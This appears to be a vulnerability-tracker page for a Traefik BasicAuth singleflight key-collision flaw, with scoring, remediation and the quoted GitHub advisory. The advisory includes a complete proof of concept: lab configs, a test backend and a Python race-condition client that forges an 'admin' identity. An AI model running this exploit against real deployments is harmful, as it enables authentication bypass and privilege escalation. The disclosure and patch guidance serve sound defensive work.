Skip to main content

Traefik CVE-2026-71326

| EUVDEUVD-2026-54297 LOW
Improper Authentication (CWE-287)
2026-08-06 https://github.com/traefik/traefik GHSA-6765-c87h-8mrf
2.1
CVSS 4.0 · Vendor: https://github.com/traefik/traefik
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Acquire stored hash via Traefik API or K8s Secret
  2. Delivery
    Authenticate as low-privilege configured user
  3. Exploit
    Craft attacker request with unconfigured username and password = validPass+hash
  4. Execution
    Fire both requests concurrently
  5. Persist
    Singleflight key collision delivers legitimate auth result to attacker request
  6. Impact
    Backend receives forged admin identity via headerField

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication mechanism validation
MITRE ATT&CK

2 techniques across 2 tactics: Defense Evasion, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three simultaneous prerequisites: (1) a valid low-privilege credential for a configured user on the targeted BasicAuth-protected route - exploitation cannot begin without an existing account; (2) the stored password hash for that configured user, which is only reachable through privileged paths: admin access to the Traefik API (GET /api/http/middlewares/{id}, documented as admin-only), read access to the Kubernetes Secret containing the user list, or access to the Docker socket; (3) the ability to send two HTTP requests with sub-second timing precision to the same protected endpoint. The collision window is determined by bcrypt cost: at cost 12, the window is hundreds of milliseconds, making the race essentially deterministic and easily scriptable. Without headerField configured, the attack still bypasses BasicAuth but does not achieve identity impersonation to the backend. Exploitation is additionally limited to Traefik v3.6.11-3.6.24 and v3.7.0-v3.7.9; deployments on v2 or earlier v3 releases are not vulnerable regardless of configuration.

Impact

No official CVSS score has been assigned at time of analysis; all metric assessments below are independently derived from the vulnerability description. The attack vector is network (the attacker sends HTTP requests to a protected route), but complexity is high because exploitation requires: (1) a timing-sensitive race between two concurrent requests, and (2) prior knowledge of the stored password hash. The race is practically deterministic against bcrypt cost-12 because the slow hash computation keeps the singleflight call in flight for hundreds of milliseconds, giving the attacker a wide window - the POC achieves 100% success in 25 trials. However, hash acquisition itself is gated behind privileged paths: the Traefik API endpoint GET /api/http/middlewares/{id} exposes configured hashes but is documented as admin-only; the Kubernetes path requires read access to the relevant Secret; the Docker path requires socket access. This means the exploitability chain contains a hard prerequisite - hash exfiltration - that is itself a privileged operation, substantially limiting the realistic attacker population to those who already have some elevated access. The impact is significant when headerField is configured, as the backend receives an attacker-chosen identity as a trusted header, enabling privilege escalation, unauthorized data access, and audit log corruption. Without headerField, unauthenticated route bypass still occurs. No EPSS data is available. A fully working POC is publicly disclosed, which elevates urgency beyond what the low-severity vendor classification alone suggests - any attacker who can satisfy the hash acquisition prerequisite has a reliable, scripted exploit.

Exploit ScenarioDerived

An attacker holding a valid low-privilege account (e.g., 'viewer') on a Traefik-protected service first retrieves the stored bcrypt hash for their own account by querying the Traefik API (GET /api/http/middlewares/auth@file), a Kubernetes Secret, or the Docker socket. The attacker then fires two concurrent HTTP requests: one with their valid viewer credentials (triggering the expensive bcrypt comparison and keeping the singleflight call in flight for ~hundreds of milliseconds), and simultaneously one with an unconfigured username such as 'admin' and a crafted password equal to their real password concatenated with their own hash. The singleflight deduplication returns the legitimate request's true result to the admin request, and Traefik forwards the X-WebAuth-User: admin header to the backend - granting the attacker admin-level access to the downstream service. The publicly available POC demonstrates this achieving a 25-of-25 success rate.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 06, 2026

Traefik's BasicAuth middleware in versions 3.6.11-3.6.24 and 3.7.0-3.7.9 permits an authenticated low-privilege user to forge arbitrary backend identities via a singleflight key collision race condition. By concatenating their known valid password with a retrieved stored bcrypt hash, an attacker crafts a singleflight deduplication key identical to a legitimate in-flight request's key; the middleware returns the legitimate request's successful authentication result to the attacker's request, then propagates the attacker's chosen unconfigured username to the backend as a trusted identity. A fully working proof-of-concept achieving 25-of-25 successful identity forgeries under default bcrypt cost is publicly available in the GitHub security advisory; no CISA KEV listing has been identified at time of analysis.

RemediationAI

Upgrade to Traefik v3.6.25 (for the v3.6 line) or v3.7.10 (for the v3.7 line), available at https://github.com/traefik/traefik/releases/tag/v3.6.25 and https://github.com/traefik/traefik/releases/tag/v3.7.10 respectively. The fix is a one-line key-encoding change in pkg/middlewares/auth/basic_auth.go (PR #13572, commit b5ace8eb) that prefixes the singleflight key with the password length, making collisions impossible. If immediate upgrade is not feasible, restrict access to the Traefik API endpoint (disable insecure API mode or enforce API authentication) to deny attackers the primary hash exfiltration path; note this does not eliminate the Kubernetes Secret or Docker socket exfiltration vectors, which require RBAC controls and socket permission hardening respectively. As a compensating control, disabling the BasicAuth headerField option removes the privilege-escalation impact (identity forgery to the backend), though the authentication bypass - where the unknown user still passes the middleware - would remain. Disabling concurrency at the load balancer layer (serial request processing) would also prevent the race but is operationally impractical. Deployments on v3.6.0 through v3.6.10 or any v2 release require no action for this specific vulnerability.

Affected VersionsENISA

traefik 3.7.0, < 3.7.10
traefik 3.6.11, < 3.6.25

Affected Packages

go github.com/traefik/traefik no fix
go github.com/traefik/traefik/v2 no fix
go github.com/traefik/traefik/v3 fix: 3.6.25, 3.7.10
euvd traefik_3_6_11 fix: 3.6.25
euvd traefik_3_7_0 fix: 3.7.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 5 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Traefik is a cloud-native reverse proxy written in Go, commonly deployed as an ingress controller in Kubernetes and as a Docker-aware edge router. Its BasicAuth middleware uses Go's singleflight package (golang.org/x/sync/singleflight) to deduplicate concurrent expensive bcrypt password checks, preventing thundering-herd amplification. The deduplication key was constructed as the bare string concatenation password+secret, where secret is the stored hash returned by b.auth.Secrets(user, realm). For any unconfigured username, Secrets() returns an empty string, collapsing the key to just the submitted password. An attacker knowing a valid user's password P and stored hash H submits P||H as their password under an unconfigured username; since their secret is empty, their key (P||H)+'' equals the legitimate user's key P+H exactly. Go's singleflight.Group.Do shares the first in-flight result for equal keys without re-running the closure, so the attacker's goroutine receives the legitimate user's true return value. ServeHTTP then sets req.URL.User and the configured headerField using the attacker's chosen username, not the legitimate one. The root cause maps to CWE-287 (Improper Authentication): the authentication decision for one principal is incorrectly reused for a distinct principal. The patch in commit b5ace8eb prefixes the key with the password length as strconv.Itoa(len(password))+':'+password+secret, making the encoding injective so distinct (password, secret) pairs can never share a key. Affected CPEs cover go/github.com/traefik/traefik/v3 for both the v3.6 and v3.7 package lineages.

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/traefik/traefik) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 8.2 HIGH

Network vector, high complexity due to race timing and hash acquisition prerequisite; low privilege (valid account required); scope changed as backend receives forged trusted identity; no availability impact.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (https://github.com/traefik/traefik).

CVSS VectorVendor: https://github.com/traefik/traefik

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Aug 06, 2026 - 22:22 NVD
2.1 (LOW)

DescriptionCVE.org

Summary

There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username - whose secret is empty - can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential and to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.6.25
  • https://github.com/traefik/traefik/releases/tag/v3.7.10

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's BasicAuth middleware deduplicates concurrent password checks with a singleflight.Group. Its key is the delimiter-free concatenation password + secret. For an existing user with password P and stored hash H, the key is P || H. An unknown user can select the password P || H; because its secret is the empty string, its key is also P || H.

If the existing user's request starts the shared calculation, the unknown user receives the existing user's successful Boolean result. Traefik then continues processing the unknown user's original request and propagates the attacker-selected username through URL.User, the access log, and the configured BasicAuth headerField.

A user who knows one valid username/password/hash tuple can therefore authenticate concurrently under any unconfigured username. This becomes a privilege escalation when a backend uses the BasicAuth headerField as a trusted identity, which is the documented purpose of that option.

Details

The vulnerable logic is in pkg/middlewares/auth/basic_auth.go:118-131:

go
func (b *basicAuth) checkPassword(user, password string) bool {
	secret := b.auth.Secrets(user, b.auth.Realm)

	key := password + secret
	match, _, _ := b.singleflightGroup.Do(key, func() (any, error) {
		if secret == "" {
			_ = b.checkSecret(password, b.notFoundSecret)
			return false, nil
		}

		return b.checkSecret(password, secret), nil
	})

	return match.(bool)
}

For a configured user viewer:

text
password = P
secret   = H
key      = P || H
result   = true

For an unconfigured user admin:

text
password = P || H
secret   = ""
key      = (P || H) || "" = P || H

singleflight.Group.Do shares the first in-flight result for equal keys. If the configured user's check is first, the unknown user's closure is not run and the unknown request receives true.

The authorization result is not bound to the username. After the shared result is accepted, ServeHTTP uses the username parsed from the unknown request:

go
req.URL.User = url.User(user)

if b.headerField != "" {
	req.Header.Del(b.headerField)
	req.Header[b.headerField] = []string{user}
}

Consequently, the backend sees the attacker-selected admin identity, not the valid request's viewer identity.

Attack prerequisites

The attacker needs:

  1. network access to a route protected by the affected BasicAuth middleware;
  2. one valid low-privilege username and password;
  3. the corresponding stored password hash.

The hash is often present in deployment labels or routing configuration. Traefik's API is also a direct source when the attacker can access it: GET /api/http/middlewares/{id} serializes basicAuth.users, including the hash, despite the field carrying loggable:"false". The official v3.7.8 binary returned the hash in the validation environment.

The attacker does not need another user's password or a victim-generated request. The attacker creates both concurrent requests: one with their valid credentials and one with an arbitrary, unconfigured target username.

Security impact

When headerField is configured, an authenticated low-privilege user can impersonate an arbitrary identity to the backend. Depending on downstream authorization, this can allow:

  • access to administrative data;
  • execution of privileged state-changing operations;
  • corruption of audit attribution;
  • bypass of identity-based tenant or role separation.

Without headerField, the unknown request is still admitted through the BasicAuth middleware. The practical consequence then depends on whether the protected route treats all authenticated users equally.

Proof of Concept

Validation environment

  • Official Traefik v3.7.8 Linux amd64 release.
  • Build timestamp: 2026-07-15T12:42:25Z.
  • Go version in the release: go1.26.5.
  • Archive SHA-256:

dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7.

  • The checksum matched the official

traefik_v3.7.8_checksums.txt release asset.

  • No Traefik source files were modified.

Dynamic configuration

The bcrypt hash below is for password test and uses cost 12:

yaml
http:
  routers:
    app:
      entryPoints:
        - web
      rule: PathPrefix(`/`)
      middlewares:
        - auth
      service: backend

  middlewares:
    auth:
      basicAuth:
        headerField: X-WebAuth-User
        removeHeader: true
        users:
          - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://127.0.0.1:19090

Save it as dynamic.yml. Use this install configuration as static.yml:

yaml
global:
  checkNewVersion: false
  sendAnonymousUsage: false

api:
  insecure: true

entryPoints:
  web:
    address: 127.0.0.1:18080

providers:
  file:
    filename: /absolute/path/to/dynamic.yml
    watch: false

The API is enabled only to demonstrate that the runtime representation exposes the configured hash. It is not needed if the tester already knows the hash from the configuration.

Use this backend as backend.py; it responds with the identity Traefik puts in the trusted header:

python
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        body = (self.headers.get("X-WebAuth-User", "") + "\n").encode()
        self.send_response(200)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, *args):
        pass


ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serve_forever()

Start the backend and Traefik in separate shells.

Shell 1:

bash
python3 backend.py

Shell 2:

bash
./traefik --configFile=/absolute/path/to/static.yml

Exploit client

python
import base64
import http.client
import json
import threading
import time
import urllib.request

HOST = "127.0.0.1"
PORT = 18080
PASSWORD = "test"
HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."


def request(user, password):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
    token = base64.b64encode(f"{user}:{password}".encode()).decode()
    conn.request("GET", "/", headers={"Authorization": f"Basic {token}"})
    response = conn.getresponse()
    body = response.read().decode().strip()
    status = response.status
    conn.close()
    return status, body


middleware = json.load(
    urllib.request.urlopen(
        "http://127.0.0.1:8080/api/http/middlewares/auth%40file"
    )
)
print("api_users", middleware["basicAuth"]["users"])
print("valid_baseline", request("viewer", PASSWORD))
print("attacker_baseline", request("admin", PASSWORD + HASH))

wins = 0
for _ in range(25):
    valid_result = {}
    valid = threading.Thread(
        target=lambda: valid_result.setdefault(
            "result", request("viewer", PASSWORD)
        )
    )
    valid.start()
    time.sleep(0.005)
    attack = request("admin", PASSWORD + HASH)
    valid.join()
    if attack == (200, "admin"):
        wins += 1

print("forged_admin_successes", wins, "of", 25)

Observed output

text
api_users ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.']
valid_baseline (200, 'viewer')
attacker_baseline (401, '401 Unauthorized')
forged_admin_successes 25 of 25

The negative control proves that admin is not configured and cannot authenticate alone. During the collision, all 25 requests were admitted and the backend received the forged identity admin.

The same behavior was first reproduced with Apache MD5. Its much shorter hash calculation window yielded 2 successful identity forgeries in 100 attempts. Using normal production-strength bcrypt made the race deterministic in this environment because the expensive comparison remains in flight long enough for the second request to join it.

Impact

An attacker with read access to a configured password hash and the ability to send concurrent requests can authenticate as an unconfigured username. When headerField is enabled, the attacker-selected username is forwarded to the backend as a trusted authenticated identity, enabling privilege impersonation, unauthorized data access, unauthorized actions, and incorrect security audit attribution. Without headerField, the request still bypasses BasicAuth and reaches the protected service.

</details>

---

Threat Intelligence Overview

EPSS Score
0.4%
Top 72% exploitable
Prevalence
Medium
popular cloud-native ingress proxy, common in Kubernetes and Docker deployments
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Low
Technical Impact
Total

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2026-22039 CRITICAL POC
9.9 Jan 27

Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy